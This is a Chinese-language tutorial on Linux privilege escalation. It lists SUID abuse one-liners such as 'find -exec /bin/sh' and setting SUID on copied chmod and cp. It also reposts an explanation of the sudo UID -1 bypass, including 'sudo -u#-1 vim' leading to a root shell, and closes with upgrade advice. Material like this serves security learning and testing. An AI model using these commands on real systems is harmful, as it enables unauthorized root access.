SUID (Set owner User ID up on execution) 是給予文件的一個特殊類型的文件權限。在 Linux/Unix中,當一個程序運行的時候, 程序將從登錄用戶處繼承權限。SUID被定義為給予一個用戶臨時的(程序/文件)所有者的權限來運行一個程序/文件。用戶在執行程序/文件/命令的時候,將獲取文件所有者的權限以及所有者的UID和GID。
查找suid文件
find / -perm -u=s -type f 2>/dev/null
/表示從文件系統的頂部(根)開始並找到每個目錄 -perm 表示搜索隨后的權限 -u = s表示查找root用戶擁有的文件 -type表示我們正在尋找的文件類型 f 表示常規文件,而不是目錄或特殊文件 2表示該進程的第二個文件描述符,即stderr(標准錯誤) >表示重定向 / dev / null是一個特殊的文件系統對象,它將丟棄寫入其中的所有內容。
利用方式:
find命令
sudo find . -exec /bin/sh \; -quit
chmod命令
sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'
ash,linux shell
sudo ash
cp命令
sudo sh -c 'cp $(which cp) .; chmod +s ./cp'
更多suid利用方式:https://gtfobins.github.io/gtfobins
轉載一個白帽匯的文章
因此對於sudo命令來說,通過向/etc/sudoers配置文件添加特殊的指令,就可以讓某個用戶以另一個用戶的身份運行命令。
例如,下面的命令可讓用戶test以任意非root身份運行/usr/bin/vim和/usr/bin/id命令。
test ALL = (ALL, !root) /usr/bin/vim
test ALL = (ALL, !root) /usr/bin/id
對於test用戶,他可以使用一個帶-u參數的sudo命令來指定運行命令的身份。例如,下面的命令將以用戶bleep-test的身份啟動vim。
sudo -u bleeping-test vim
在Linux中創建用戶時,每個用戶都有一個UID。如下所示,用戶test的UID為1001,用戶bleep -test的UID為1002。
![]()
而在使用sudo命令時,你也可以直接指定用戶的UID來代替用戶名。例如,下面的命令將再次以bleep-test身份啟動vim,只不過這一次是通過指定用戶的UID。
sudo -u#1002 vim
sudo漏洞
蘋果安全研究員Joe Vennix就在sudo上發現了一個漏洞,只要用戶在使用sudo命令時指定UID為-1或4294967295,就可以以root身份執行命令。
這是因為命令在將UID轉換為對應用戶時,會將-1或4294967295這兩個異常數字視為0,而0是root用戶的UID
例如,下面的命令就可以利用這個漏洞以root身份運行/usr/bin/id,即使/etc/sudoers文件明確拒絕用戶test這樣做。
sudo -u#-1 id
此時通過/usr/bin/id命令可以清楚看到權限得到了提升。

雖然這個漏洞看似非常強大,但是必須記住,它只能在某個用戶通過sudoers文件的配置訪問某個命令的權限時才能生效。如果不是這種設置——大多數Linux發行版默認都不是——那么這個漏洞將不會產生任何影響。
利用漏洞
為了真正利用這個漏洞,用戶首先需要為某個能執行其他命令的命令配置好sudoer文件。
例如,我們可以針對vim命令做如下配置:
test ALL = (ALL, !root) /usr/bin/vim
在vim編輯文件時,用戶可以使用:!符號啟動另一個命令。例如,你可以輸入!ls以當前文件夾為目標執行ls命令。
如果我們利用sudo -u#-1 vim命令來利用這個漏洞,vim將以root身份啟動。你可以通過執行!whoami命令來確認這一點。

現在,我們可以確認vim以root身份啟動,而它執行的任何命令也是以root身份運行。
因此,我們可以很輕易地用它來啟動一個root權限的shell,執行任何命令。下面就演示了這種攻擊。


綜上所述,這個漏洞影響范圍非常有限,它只能影響小部分非標准配置的Linux服務器。
對於那些為經常使用sudoers文件的用戶,應盡快將軟件升級到sudo 1.8.28或更高版本。
